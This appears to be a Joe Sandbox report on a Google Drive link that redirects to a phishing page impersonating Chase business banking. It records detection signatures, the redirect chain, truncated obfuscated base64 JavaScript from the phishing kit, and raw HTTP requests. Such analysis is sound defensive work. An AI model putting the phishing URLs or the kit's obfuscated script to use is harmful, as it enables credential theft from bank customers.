Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
https://drive.google.com/file/d/1zySfUjQ3GqIVAlBHIX3CXdgIcWIqrMkO/view?usp=sharing_eip&ts=67645d30

Overview

General Information

Sample URL:	https://drive.google.com/file/d/1zySfUjQ3GqIVAlBHIX3CXdgIcWIqrMkO/view?usp=sharing_eip&ts=67645d30
Analysis ID:	1578640
Infos:

Detection

Score:	52
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

AI detected suspicious Javascript

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden javascript code

HTML page contains obfuscated script src

Classification

×

Process Tree

System is w10x64

chrome.exe (PID: 1848 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2056 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2260 --field-trial-handle=2216,i,17725997227346698388,7204541445290865295,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6576 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://drive.google.com/file/d/1zySfUjQ3GqIVAlBHIX3CXdgIcWIqrMkO/view?usp=sharing_eip&ts=67645d30" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

⊘No yara matches

Sigma Signatures

⊘No Sigma rule has matched

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

AI detected phishing page

Source: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/index

Joe Sandbox AI: Score: 9 Reasons: The brand 'Chase' is a well-known financial institution., The legitimate domain for Chase is 'chase.com'., The URL 'online.access.secure001.chase-business.com' contains additional subdomains and hyphens, which are common indicators of phishing., The presence of 'secure001' and 'business' in the URL is suspicious and not typical for Chase's legitimate URLs., Financial institutions like Chase are common targets for phishing attacks, especially with login fields like 'Username' and 'Password'. DOM: 5.7.pages.csv

AI detected suspicious Javascript

Source: 5.58..script.csv

Joe Sandbox AI: Detected suspicious JavaScript with source url: https://online.access.secure001.chase-business.com... This JavaScript code exhibits several high-risk behaviors that are indicative of a malicious phishing script. The code includes dynamic code execution, data exfiltration, and redirects to potentially malicious domains, all of which are considered high-risk indicators. Additionally, the code attempts to prevent the user from navigating away from the page and appears to be designed to collect sensitive user data, such as login credentials, which is a clear sign of malicious intent. Overall, this script poses a significant security risk and should be treated with the utmost caution.

Source: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/index

HTTP Parser: Number of links: 0

Source: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/index

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://online.access.secure001.chase-business.com/secure/

HTTP Parser: Base64 decoded: function _0x5f48(_0x2c5e02,_0xe19f15){var _0x1b34d0=_0x1b34();return _0x5f48=function(_0x5f482d,_0x502389){_0x5f482d=_0x5f482d-0x143;var _0x72c7d7=_0x1b34d0[_0x5f482d];return _0x72c7d7;},_0x5f48(_0x2c5e02,_0xe19f15);}(function(_0x471b0b,_0x52b3dd){var _0x...

Source: https://online.access.secure001.chase-business.com/secure/	HTTP Parser: Script src: data:text/javascript;base64,ZnVuY3Rpb24gXzB4NWY0OChfMHgyYzVlMDIsXzB4ZTE5ZjE1KXt2YXIgXzB4MWIzNGQwPV8weDFiMzQoKTtyZXR1cm4gXzB4NWY0OD1mdW5jdGlvbihfMHg1ZjQ4MmQsXzB4NTAyMzg5KXtfMHg1ZjQ4MmQ9XzB4NWY0ODJkLTB4MTQzO3ZhciBfMHg3MmM3ZDc9XzB4MWIzNGQwW18weDVmNDgyZF
Source: https://online.access.secure001.chase-business.com/secure/	HTTP Parser: Script src: data:text/javascript;base64,dmFyIF8weDNmZDY5MD1fMHg0Y2VkOyhmdW5jdGlvbihfMHg4ZTVlOTgsXzB4NGFhOTEwKXt2YXIgXzB4MmJjNjY1PV8weDRjZWQsXzB4NDMwNGQ4PV8weDhlNWU5OCgpO3doaWxlKCEhW10pe3RyeXt2YXIgXzB4MzA1MjJhPS1wYXJzZUludChfMHgyYmM2NjUoMHgzZDcpKS8weDErcGFyc2VJbn
Source: https://online.access.secure001.chase-business.com/secure/	HTTP Parser: Script src: data:text/javascript;base64,dmFyIF8weDVkM2JjYj1fMHgyZmZlOyhmdW5jdGlvbihfMHgyMzhlYmEsXzB4M2Q4NzJhKXt2YXIgXzB4MTZlNGQ3PV8weDJmZmUsXzB4MzdiMzJjPV8weDIzOGViYSgpO3doaWxlKCEhW10pe3RyeXt2YXIgXzB4M2YxYmFkPS1wYXJzZUludChfMHgxNmU0ZDcoMHgxMTMpKS8weDErLXBhcnNlSW
Source: https://online.access.secure001.chase-business.com/secure/	HTTP Parser: Script src: data:text/javascript;base64,ZnVuY3Rpb24gXzB4OTdjOChfMHgxNTEwOWIsXzB4MjYyNmRlKXtjb25zdCBfMHg1NDdlMDc9XzB4NTQ3ZSgpO3JldHVybiBfMHg5N2M4PWZ1bmN0aW9uKF8weDk3YzhmMSxfMHgyNjU4N2Epe18weDk3YzhmMT1fMHg5N2M4ZjEtMHgxN2M7bGV0IF8weDNhYjRlMj1fMHg1NDdlMDdbXzB4OTdjOG

Source: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/index

HTTP Parser: <input type="password" .../> found

Source: https://drive.google.com/file/d/1zySfUjQ3GqIVAlBHIX3CXdgIcWIqrMkO/view?ts=67645d30	HTTP Parser: No favicon
Source: https://online.access.secure001.chase-business.com/secure/	HTTP Parser: No favicon

Source: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/index

HTTP Parser: No <meta name="copyright".. found

Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=520=bib_bWMnK1YxI6DFE_yEeVKihjO0YgES48Ca8eFgs-D-5N3Pses3et8W20y90NGGawdNxO8Nk7tdFlttvcN8sBKIKjDAYyyxiMH8z7uDycO0eWEStG5jWvblBrKNagBk2b0U7TRK-SM-aB0OPdGNKGXMzPNdMb89QKVak_lPbErfbmkhnolM0o2L4tbiZac
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=520=hUX5GaA56DlGtp2jF5SjiewhFRLLcyhc9MR-ez7koqlYe7LwF26mU4ldhynhKAIImPwwICfUVHjnqp20yORDAEDwEZr8pVoCjsa-v_s6XIzKTEgIhLVrjS5BHRa_HZLme7W91CxB5H5p2TQQhxPnsokV3W4yT0UbqZOUlmwhQxIQC7LhCtIWuSBqCrEMu2E
Source: global traffic	HTTP traffic detected: GET /images/branding/googlelogo/1x/googlelogo_color_150x54dp.png HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://accounts.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=520=ft3_auKYdOmwtta67v9Ln1tCJLnBLXSR_kBjLSyysgp_j0uX1GSIzCUHdtri4jwe5AHuoum3fh908mhF7j3D2oigQ4bbygoILw8PY5GLVgfNyPJz-QB5WQepBASh8Px_cGj_E96CBVqjkbWN8DeK5Lr1JQ581uxFm5e5Kh-ucCQ7AzdfcB8FpFllqrfESbY
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=520=CoJHxHY775dVVkRiHnJCVdwtyT34gZ7NdGuOjiUG7mmSq9Q3Rowxp6PbbUGc_vBDA73_43dcIrDNroDrbYi_Q7LhyCRvb4MhAWZ3gmhmurv0f_t_sZveBf0ZNW22FWnzNo1S19q4y4a5faAwI2PJ4a4zoGMx6Q47tRpTqTwlqCQJeZ4w4v-rwKM5IuZuU_U
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.ZpMpph_5a4M.O/m=client/exm=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/rs=AHpOoo_c5__TAiALeuHoQOKG0BnSpdbJrQ/cb=gapi.loaded_1 HTTP/1.1Host: apis.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=520=ft3_auKYdOmwtta67v9Ln1tCJLnBLXSR_kBjLSyysgp_j0uX1GSIzCUHdtri4jwe5AHuoum3fh908mhF7j3D2oigQ4bbygoILw8PY5GLVgfNyPJz-QB5WQepBASh8Px_cGj_E96CBVqjkbWN8DeK5Lr1JQ581uxFm5e5Kh-ucCQ7AzdfcB8FpFllqrfESbY
Source: global traffic	HTTP traffic detected: GET /images/branding/googlelogo/1x/googlelogo_color_150x54dp.png HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=520=ft3_auKYdOmwtta67v9Ln1tCJLnBLXSR_kBjLSyysgp_j0uX1GSIzCUHdtri4jwe5AHuoum3fh908mhF7j3D2oigQ4bbygoILw8PY5GLVgfNyPJz-QB5WQepBASh8Px_cGj_E96CBVqjkbWN8DeK5Lr1JQ581uxFm5e5Kh-ucCQ7AzdfcB8FpFllqrfESbY
Source: global traffic	HTTP traffic detected: GET /url?q=https://securityunlocking.blob.core.windows.net/process/complete.html?48tq2&sa=D&source=apps-viewer-frontend&ust=1734740489432843&usg=AOvVaw1JS_jyoOcFgFxlS4pA6o8h&hl=en HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: same-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=520=ft3_auKYdOmwtta67v9Ln1tCJLnBLXSR_kBjLSyysgp_j0uX1GSIzCUHdtri4jwe5AHuoum3fh908mhF7j3D2oigQ4bbygoILw8PY5GLVgfNyPJz-QB5WQepBASh8Px_cGj_E96CBVqjkbWN8DeK5Lr1JQ581uxFm5e5Kh-ucCQ7AzdfcB8FpFllqrfESbY
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=520=CoJHxHY775dVVkRiHnJCVdwtyT34gZ7NdGuOjiUG7mmSq9Q3Rowxp6PbbUGc_vBDA73_43dcIrDNroDrbYi_Q7LhyCRvb4MhAWZ3gmhmurv0f_t_sZveBf0ZNW22FWnzNo1S19q4y4a5faAwI2PJ4a4zoGMx6Q47tRpTqTwlqCQJeZ4w4v-rwKM5IuZuU_U
Source: global traffic	HTTP traffic detected: GET /?ref=trush39dh3sc HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://securityunlocking.blob.core.windows.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=520=ft3_auKYdOmwtta67v9Ln1tCJLnBLXSR_kBjLSyysgp_j0uX1GSIzCUHdtri4jwe5AHuoum3fh908mhF7j3D2oigQ4bbygoILw8PY5GLVgfNyPJz-QB5WQepBASh8Px_cGj_E96CBVqjkbWN8DeK5Lr1JQ581uxFm5e5Kh-ucCQ7AzdfcB8FpFllqrfESbY
Source: global traffic	HTTP traffic detected: GET /secure/ HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://securityunlocking.blob.core.windows.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn; ref=trush39dh3sc; referer=aHR0cHM6Ly9zZWN1cml0eXVubG9ja2luZy5ibG9iLmNvcmUud2luZG93cy5uZXQv
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=520=ft3_auKYdOmwtta67v9Ln1tCJLnBLXSR_kBjLSyysgp_j0uX1GSIzCUHdtri4jwe5AHuoum3fh908mhF7j3D2oigQ4bbygoILw8PY5GLVgfNyPJz-QB5WQepBASh8Px_cGj_E96CBVqjkbWN8DeK5Lr1JQ581uxFm5e5Kh-ucCQ7AzdfcB8FpFllqrfESbY
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://online.access.secure001.chase-business.com/secure/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn; referer=aHR0cHM6Ly9zZWN1cml0eXVubG9ja2luZy5ibG9iLmNvcmUud2luZG93cy5uZXQv
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=520=ft3_auKYdOmwtta67v9Ln1tCJLnBLXSR_kBjLSyysgp_j0uX1GSIzCUHdtri4jwe5AHuoum3fh908mhF7j3D2oigQ4bbygoILw8PY5GLVgfNyPJz-QB5WQepBASh8Px_cGj_E96CBVqjkbWN8DeK5Lr1JQ581uxFm5e5Kh-ucCQ7AzdfcB8FpFllqrfESbY
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://online.access.secure001.chase-business.com/secure/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn
Source: global traffic	HTTP traffic detected: GET /secure/secure.php HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn
Source: global traffic	HTTP traffic detected: GET /web/auth/dashboard/dashboard/index/index HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://online.access.secure001.chase-business.com/secure/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
Source: global traffic	HTTP traffic detected: GET /web/auth/dashboard/dashboard/index/index HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
Source: global traffic	HTTP traffic detected: GET /content/css/mds-chase-icons.css HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/indexAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
Source: global traffic	HTTP traffic detected: GET /content/css/blue-ui.css HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/indexAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
Source: global traffic	HTTP traffic detected: GET /content/css/logon.css HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/indexAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
